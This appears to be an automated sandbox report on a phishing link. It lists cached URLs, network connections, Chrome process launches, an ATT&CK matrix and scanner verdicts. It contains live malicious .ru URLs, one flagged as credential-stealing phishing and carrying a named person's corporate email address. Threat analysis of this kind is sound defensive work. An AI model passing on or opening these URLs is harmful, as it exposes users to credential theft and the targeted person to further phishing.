Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img01_VP1.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img01_VP2.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img01_VP3.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img01_VP4.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img01_VP5.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img02_VP1.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img02_VP2.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img02_VP3.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img02_VP4.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img02_VP5.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img03_VP1.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img03_VP2.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img03_VP3.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img03_VP4.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/Graph_img03_VP5.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/HeroBanner_VP1.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/HeroBanner_VP2.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/HeroBanner_VP3.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/HeroBanner_VP4.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/media/graph/HeroBanner_VP5.webp?v=
Source: chromecache_231.2.dr	String found in binary or memory: https://cdn.graph.office.net/prod/vendor/node_modules/jquery/v3.6.0/jquery-3.6.0.min.js
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/Search?q=
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/api/extension-guides/chat-tutorial
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/api/extension-guides/language-model-tutorial
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/assets/apple-touch-icon.png
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/assets/home/home-screenshot-win.png
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/docs/copilot/copilot-chat
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/docs/copilot/copilot-customization
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/docs/copilot/copilot-customization#_define-commit-message-generation-c
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/docs/copilot/copilot-edits
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/docs/copilot/getting-started-chat#_stay-in-the-flow-with-inline-chat
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/docs/copilot/workspace-context
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/docs/supporting/requirements
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/download
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/license
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/opengraphimg/opengraph-blog.png
Source: chromecache_207.2.dr	String found in binary or memory: https://code.visualstudio.com/updates
Source: chromecache_207.2.dr	String found in binary or memory: https://consentdeliveryfd.azurefd.net/mscc/lib/v2/wcp-consent.js
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://docs.google.com/get_video_info
Source: chromecache_207.2.dr	String found in binary or memory: https://ffmpeg.org/
Source: chromecache_284.2.dr, chromecache_151.2.dr, chromecache_226.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_207.2.dr	String found in binary or memory: https://github.com/features/copilot#pricing-2
Source: chromecache_207.2.dr	String found in binary or memory: https://github.com/features/copilot/getting-started
Source: chromecache_256.2.dr, chromecache_229.2.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_155.2.dr, chromecache_278.2.dr, chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://github.com/madler/zlib/blob/master/zlib.h
Source: chromecache_207.2.dr	String found in binary or memory: https://github.com/microsoft/vscode
Source: chromecache_207.2.dr	String found in binary or memory: https://github.com/microsoft/vscode-copilot-release
Source: chromecache_284.2.dr, chromecache_151.2.dr, chromecache_226.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_312.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_284.2.dr, chromecache_226.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://i.ytimg.com/vi/
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://jnn-pa.googleapis.com
Source: chromecache_284.2.dr, chromecache_226.2.dr, chromecache_256.2.dr, chromecache_229.2.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_284.2.dr, chromecache_226.2.dr, chromecache_256.2.dr, chromecache_229.2.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_256.2.dr, chromecache_229.2.dr	String found in binary or memory: https://js.foundation/
Source: chromecache_231.2.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.analytics-web-3.2.12.min.js
Source: chromecache_207.2.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.analytics-web-4.min.js
Source: chromecache_231.2.dr	String found in binary or memory: https://linkedin.com/sharing/share-offsite/?url=
Source: chromecache_256.2.dr, chromecache_229.2.dr	String found in binary or memory: https://lodash.com/
Source: chromecache_256.2.dr, chromecache_229.2.dr	String found in binary or memory: https://lodash.com/license
Source: chromecache_207.2.dr	String found in binary or memory: https://marketplace.visualstudio.com/VSCode
Source: chromecache_207.2.dr	String found in binary or memory: https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-pull-request-github
Source: chromecache_207.2.dr	String found in binary or memory: https://marketplace.visualstudio.com/items?itemName=mongodb.mongodb-vscode
Source: chromecache_207.2.dr	String found in binary or memory: https://marketplace.visualstudio.com/items?itemName=ms-vscode.vscode-copilot-vision
Source: chromecache_207.2.dr	String found in binary or memory: https://marketplace.visualstudio.com/items?itemName=ms-vscode.vscode-speech
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://music.youtube.com
Source: chromecache_256.2.dr, chromecache_229.2.dr	String found in binary or memory: https://openjsf.org/
Source: chromecache_304.2.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_304.2.dr	String found in binary or memory: https://redux.js.org/api/store#subscribelistener
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://redux.js.org/tutorials/fundamentals/part-4-store#creating-a-store-with-enhancers
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://redux.js.org/tutorials/fundamentals/part-4-store#middleware
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://redux.js.org/tutorials/fundamentals/part-6-async-logic#using-the-redux-thunk-middleware
Source: chromecache_256.2.dr, chromecache_229.2.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_231.2.dr	String found in binary or memory: https://stackoverflow.com/a/5886746
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://support.google.com/youtube/?p=missing_quality
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://support.google.com/youtube/?p=noaudio
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://support.google.com/youtube/?p=report_playback
Source: chromecache_304.2.dr	String found in binary or memory: https://support.google.com/youtube/answer/3037019#check_ad_blockers&zippy=%2Ccheck-your-extensions-i
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://support.google.com/youtube/answer/6276924
Source: chromecache_231.2.dr	String found in binary or memory: https://twitter.com/Microsoft365Dev
Source: chromecache_207.2.dr	String found in binary or memory: https://twitter.com/code
Source: chromecache_231.2.dr	String found in binary or memory: https://twitter.com/intent/tweet?url=
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://viacon.corp.google.com
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://www.googleapis.com/certificateprovisioning/v1/devicecertificates/create?key=AIzaSyB-5OLKTx2i
Source: chromecache_206.2.dr, chromecache_330.2.dr	String found in binary or memory: https://www.gstatic.com/cv/js/sender/v1/cast_sender.js
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://www.gstatic.com/ytlr/img/sign_in_avatar_default.png?rn=
Source: chromecache_231.2.dr	String found in binary or memory: https://www.linkedin.com/showcase/microsoft365dev
Source: chromecache_207.2.dr	String found in binary or memory: https://www.linkedin.com/showcase/vs-code/
Source: chromecache_231.2.dr	String found in binary or memory: https://www.m365devpodcast.com/
Source: chromecache_207.2.dr	String found in binary or memory: https://www.tiktok.com/
Source: chromecache_207.2.dr	String found in binary or memory: https://www.youtube-nocookie.com/embed/MLWlWrRAb4w?si=FzYwY_lOLUlfOmQ7
Source: chromecache_207.2.dr	String found in binary or memory: https://www.youtube.com/
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://www.youtube.com/api/drm/fps?ek=
Source: chromecache_231.2.dr	String found in binary or memory: https://www.youtube.com/channel/UCV_6HOhwxYLXAGd-JOqKPoQ
Source: chromecache_207.2.dr	String found in binary or memory: https://www.youtube.com/code
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://www.youtube.com/generate_204?cpn=
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://youtu.be/
Source: chromecache_207.2.dr	String found in binary or memory: https://youtu.be/Vj13SdN6OxU?si=sUvbBw0KSQ5q6iWh
Source: chromecache_304.2.dr	String found in binary or memory: https://youtube.com/api/drm/fps?ek=uninitialized
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://youtubei.googleapis.com/youtubei/
Source: chromecache_234.2.dr, chromecache_304.2.dr	String found in binary or memory: https://yurt.corp.google.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1988,i,5878688666501352941,1956944540997428713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5956 --field-trial-handle=1988,i,5878688666501352941,1956944540997428713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6124 --field-trial-handle=1988,i,5878688666501352941,1956944540997428713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1988,i,5878688666501352941,1956944540997428713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5956 --field-trial-handle=1988,i,5878688666501352941,1956944540997428713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6124 --field-trial-handle=1988,i,5878688666501352941,1956944540997428713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com	0%	Avira URL Cloud	safe
https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
https://www.m365devpodcast.com/	0%	Avira URL Cloud	safe
https://bezpz7qcm1hhahypu4fla2o1q0s1mphgq5y8dsqo4c6yynrnqqkv.aeeouirl.ru/omcrjprngregvqdgxhjhzfuaiiCDSRTVBIBXFZZZJEQKFDTSFXHDDNDYNEUXWPXZCQPGVCKAPNN	100%	Avira URL Cloud	malware
https://n0.kolivane.ru/da4scmQ/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
i.ytimg.com	216.58.212.182	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
bezpz7qcm1hhahypu4fla2o1q0s1mphgq5y8dsqo4c6yynrnqqkv.aeeouirl.ru	172.67.134.110	true	false	unknown
aka.ms	23.32.221.157	true	false	high
youtube-ui.l.google.com	142.250.185.206	true	false	high
code.jquery.com	151.101.2.137	true	false	high
play.google.com	142.250.186.110	true	false	high
n0.kolivane.ru	172.67.143.137	true	true	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
photos-ugc.l.googleusercontent.com	142.250.186.33	true	false	high
www.google.com	142.250.184.228	true	false	high
s-0005.dual-s-msedge.net	52.123.128.14	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
yt3.ggpht.com	unknown	unknown	false	high
mem.gfx.ms	unknown	unknown	false	high
consentdeliveryfd.azurefd.net	unknown	unknown	false	high
cdn.graph.office.net	unknown	unknown	false	high
code.visualstudio.com	unknown	unknown	false	high
www.youtube-nocookie.com	unknown	unknown	false	high

Name	Malicious	Antivirus Detection	Reputation
https://www.youtube-nocookie.com/s/player/03dbdfab/www-embed-player.vflset/www-embed-player.js	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://yt3.ggpht.com/94s5L5iEC6TInISXIFzVaVCaFgL62lEmSz3c9p2AHnjv7kmNAOXdWrgyndV-jttIC31K7AWWJw=s68-c-k-c0x00ffffff-no-rj	false		high
https://n0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com	true		unknown
https://js.monitor.azure.com/scripts/c/ms.analytics-web-3.2.12.min.js	false		high
https://www.google.com/js/th/bTS-krGMW8fDflzgOBqs4RfQ289v88xjeZzvxqf94UM.js	false		high
https://www.youtube-nocookie.com/youtubei/v1/log_event?alt=json	false		high
https://www.youtube-nocookie.com/s/player/03dbdfab/player_ias.vflset/en_US/remote.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot	false		high
https://i.ytimg.com/vi/MLWlWrRAb4w/maxresdefault.jpg	false		high
https://bezpz7qcm1hhahypu4fla2o1q0s1mphgq5y8dsqo4c6yynrnqqkv.aeeouirl.ru/omcrjprngregvqdgxhjhzfuaiiCDSRTVBIBXFZZZJEQKFDTSFXHDDNDYNEUXWPXZCQPGVCKAPNN	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8fa030fc5af14414&lang=auto	false		high
https://n0.kolivane.ru/da4scmQ/	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8fa030fc5af14414/1735542431708/1_huuTo_VzN7_Gf	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
https://cdn.graph.office.net/prod/media/graph/HeroBanner_VP5.webp?v=	chromecache_231.2.dr	false		high
https://redux.js.org/tutorials/fundamentals/part-4-store#creating-a-store-with-enhancers	chromecache_234.2.dr, chromecache_304.2.dr	false		high
https://code.visualstudio.com/license	chromecache_207.2.dr	false		high
https://js.monitor.azure.com/scripts/c/ms.analytics-web-4.min.js	chromecache_207.2.dr	false		high
https://youtu.be/Vj13SdN6OxU?si=sUvbBw0KSQ5q6iWh	chromecache_207.2.dr	false		high
http://youtube.com/streaming/otf/durations/112015	chromecache_234.2.dr, chromecache_304.2.dr	false		high
https://code.visualstudio.com/docs/copilot/workspace-context	chromecache_207.2.dr	false		high
https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-pull-request-github	chromecache_207.2.dr	false		high
https://cdn.graph.office.net/prod/css/Moray/v2.20.0/main.min.css	chromecache_231.2.dr	false		high
https://www.m365devpodcast.com/	chromecache_231.2.dr	false	Avira URL Cloud: safe	unknown
https://code.visualstudio.com/docs/supporting/requirements	chromecache_207.2.dr	false		high
https://code.visualstudio.com/assets/apple-touch-icon.png	chromecache_207.2.dr	false		high
https://twitter.com/code	chromecache_207.2.dr	false		high
https://cdn.graph.office.net/prod/media/graph/Graph_gratstarted_VP4.webp?v=	chromecache_231.2.dr	false		high
https://www.linkedin.com/showcase/microsoft365dev	chromecache_231.2.dr	false		high
https://cdn.graph.office.net/prod/Scripts/1ds-privacy-guard-js-3212/bundle/ms.privacyguard-3.2.12.mi	chromecache_231.2.dr	false		high
